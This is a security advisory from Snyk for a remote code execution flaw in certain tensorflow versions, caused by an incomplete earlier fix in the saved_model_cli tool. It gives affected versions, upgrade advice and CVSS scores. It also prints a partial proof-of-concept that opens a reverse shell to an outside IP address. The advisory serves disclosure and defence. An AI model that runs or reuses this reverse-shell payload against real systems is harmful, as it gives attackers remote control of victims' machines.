Remote Code Execution (RCE) Affecting tensorflow package, versions [,2.6.4) [2.7.0,2.7.2) [2.8.0,2.8.1) [2.9.0rc0, 2.9.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.1% (42nd percentile)

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  • Snyk ID SNYK-PYTHON-TENSORFLOW-2841408
  • published 22 May 2022
  • disclosed 22 May 2022
  • credit Andey Robins

How to fix?

Upgrade tensorflow to version 2.6.4, 2.7.2, 2.8.1, 2.9.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper fix of CVE-2021-41228. Exploiting this vulnerability is possible via the saved_model_cli tool and can be abused to open a reverse shell.

PoC:

subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

CVSS Scores

version 3.1
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Snyk

Recommended
7.8 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

7.8 high